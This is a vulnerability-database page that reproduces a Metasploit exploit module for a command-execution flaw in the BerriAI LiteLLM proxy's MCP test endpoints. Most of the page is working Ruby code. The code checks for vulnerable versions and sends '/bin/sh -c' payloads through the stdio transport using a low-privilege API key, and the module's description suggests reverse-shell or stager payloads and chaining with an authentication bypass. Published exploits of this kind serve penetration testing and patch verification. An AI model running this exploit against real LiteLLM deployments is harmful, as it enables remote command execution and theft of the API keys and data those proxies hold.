Lucene search
+L

BerriAI LiteLLM Proxy MCP Test Endpoint Command Execution

🗓️ 21 Apr 2026 00:00:00Reported by Kenneth LaCroixType 
metasploit
 metasploit
🔗 www.rapid7.com👁 6 Views

Command execution in BerriAI LiteLLM proxy MCP test endpoints via stdio transport.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BerriAI LiteLLM Proxy MCP Test Endpoint Command Execution',
        'Description' => %q{
          This module exploits CVE-2026-42271, a command execution vulnerability
          in the BerriAI LiteLLM proxy. The MCP "test" REST endpoints
          (POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list),
          used by the admin UI to preview an MCP server before saving it, accept
          a full server configuration in the request body. When the supplied
          transport is "stdio", LiteLLM builds an MCP client that spawns the
          provided command with its args as a subprocess on the proxy host.

          On affected versions both endpoints are gated only by
          user_api_key_auth and the stdio command is unrestricted, so any caller
          holding a valid virtual key - including a low-privilege, non-admin key -
          can reach the spawn path and run arbitrary commands as the LiteLLM proxy
          process. LiteLLM 1.83.7 fixed this with two controls: it requires the
          PROXY_ADMIN role on both endpoints (a non-admin key now receives HTTP
          403), and it restricts the stdio command to an allowlist of interpreters
          (deno, docker, node, npx, python, python3, uvx), so an arbitrary command
          such as /bin/sh is rejected with HTTP 422 regardless of role.

          Affected versions are 1.74.2 through 1.83.6 (fixed in 1.83.7). This
          module targets the privilege boundary the CVE describes and expects a
          non-admin APIKEY. When chained with the Starlette host-header
          authentication bypass (CVE-2026-48710) the same primitive becomes
          pre-authentication; that bypass is out of scope for this module, which
          requires a valid virtual key.

          The command runs blind: the spawned process is not an MCP server, so the
          endpoint reports a connection failure after the command has already
          executed. Use a payload that calls back (for example a reverse shell or
          a fetched stager) rather than one whose output is read from the
          response.
        },
        'Author' => [
          'Kenneth LaCroix' # Metasploit module (vuln disclosed via GHSA-v4p8-mg3p-g94g)
        ],
        'References' => [
          ['CVE', '2026-42271'],
          ['GHSA', 'v4p8-mg3p-g94g']
        ],
        'DisclosureDate' => '2026-04-21',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 4000, 'SSL' => false },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the LiteLLM proxy', '/']),
        OptString.new('APIKEY', [true, 'A valid LiteLLM virtual key (a non-admin key proves the privilege boundary)'])
      ]
    )
  end

  # Best-effort version string from the unauthenticated /health response header.
  def litellm_version
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'health'))
    return nil unless res

    key = res.headers.keys.find { |k| k.casecmp?('x-litellm-version') }
    key ? res.headers[key] : nil
  end

  # Report the LiteLLM proxy as a layered service (litellm -> [ssl ->] http ->
  # tcp) so the version banner is stored alongside it, even when the flaw is
  # confirmed by the active check rather than the banner.
  def report_litellm_service
    base_opts = { host: rhost, port: rport, proto: 'tcp' }
    http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
    litellm_srv = base_opts.merge(
      name: 'litellm',
      info: @version ? "LiteLLM #{@version}" : 'LiteLLM proxy MCP test endpoint'
    )
    litellm_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv
    report_service(litellm_srv)
  end

  def check
    # Best-effort version banner. Even when the active check confirms the flaw,
    # the version is worth storing alongside the reported service.
    @version = litellm_version

    if datastore['APIKEY'].blank?
      # Without a key we cannot run the active probe, so fall back to the version
      # banner alone - a weaker signal (presence in the affected range, not
      # confirmed execution).
      if @version
        begin
          v = Rex::Version.new(@version)
          if v >= Rex::Version.new('1.74.2') && v < Rex::Version.new('1.83.7')
            report_litellm_service
            return CheckCode::Appears("LiteLLM #{@version}")
          end

          report_litellm_service
          return CheckCode::Safe("LiteLLM #{@version} is outside the affected range (>= 1.74.2, < 1.83.7)")
        rescue ArgumentError
          # Unparseable version banner and no key to run the active probe.
        end
      end
      return CheckCode::Unknown('Set APIKEY to run the behavioural check, or the LiteLLM version banner was unavailable; cannot confirm the target')
    end

    # Active check first (more accurate): probe the stdio command allowlist
    # without running anything. We submit a command at a path that cannot exist
    # with non-empty args (args are required for stdio transport). A patched
    # build rejects the command with HTTP 422 and an "allowed commands" message
    # before any spawn; a vulnerable build has no allowlist, attempts to spawn
    # the missing binary, fails with ENOENT, and returns a generic connection
    # error (HTTP 200) - so nothing is executed either way.
    probe_cmd = "/#{Rex::Text.rand_text_alphanumeric(8)}/#{Rex::Text.rand_text_alphanumeric(8)}"
    probe = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" },
      'data' => { 'server_name' => Rex::Text.rand_text_alphanumeric(8), 'transport' => 'stdio', 'command' => probe_cmd, 'args' => ['--version'] }.to_json
    })
    return CheckCode::Unknown('Connection failed') unless probe

    case probe.code
    when 422
      if probe.body.to_s.include?('allowed commands')
        report_litellm_service
        CheckCode::Safe('The MCP test endpoint enforces the stdio command allowlist (patched)')
      else
        CheckCode::Unknown("The request was rejected as invalid (HTTP 422): #{probe.body}")
      end
    when 403
      report_litellm_service
      CheckCode::Safe('The MCP test endpoint requires the PROXY_ADMIN role (patched)')
    when 401
      CheckCode::Unknown('The provided APIKEY was rejected (HTTP 401)')
    when 200
      # A vulnerable build has no allowlist: it attempts to spawn the missing
      # binary, fails with ENOENT, and reports a generic connection error (200).
      report_litellm_service
      CheckCode::Vulnerable('The MCP test endpoint accepted an arbitrary stdio command (HTTP 200)')
    else
      CheckCode::Unknown("Unexpected response (HTTP #{probe.code}); unable to confirm the stdio command allowlist")
    end
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" },
      'data' => {
        'server_name' => Rex::Text.rand_text_alphanumeric(8),
        'transport' => 'stdio',
        'command' => '/bin/sh',
        'args' => ['-c', cmd]
      }.to_json
    })

    # A connection-error reply is expected: the spawned shell keeps the stdio
    # pipe open so the server-side MCP handshake stalls until the request times
    # out, by which point the command has already run. A patched target
    # instead rejects the request before any spawn - HTTP 422 from the stdio
    # command allowlist, or HTTP 403 when the key lacks the PROXY_ADMIN role.

    if res.code == 403
      fail_with(Failure::NoAccess, 'The proxy requires the PROXY_ADMIN role (HTTP 403); the supplied key lacks access')
    elsif res.code == 422
      fail_with(Failure::NotVulnerable, 'The proxy enforces the stdio command allowlist (HTTP 422); the target appears patched (>= 1.83.7)')
    end

    res
  end

  def exploit
    print_status("Sending stdio MCP test request to #{full_uri(normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'))}")
    execute_command(payload.encoded)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.16.5 - 8.8
CVSS 48.7
EPSS0.9257
SSVC
6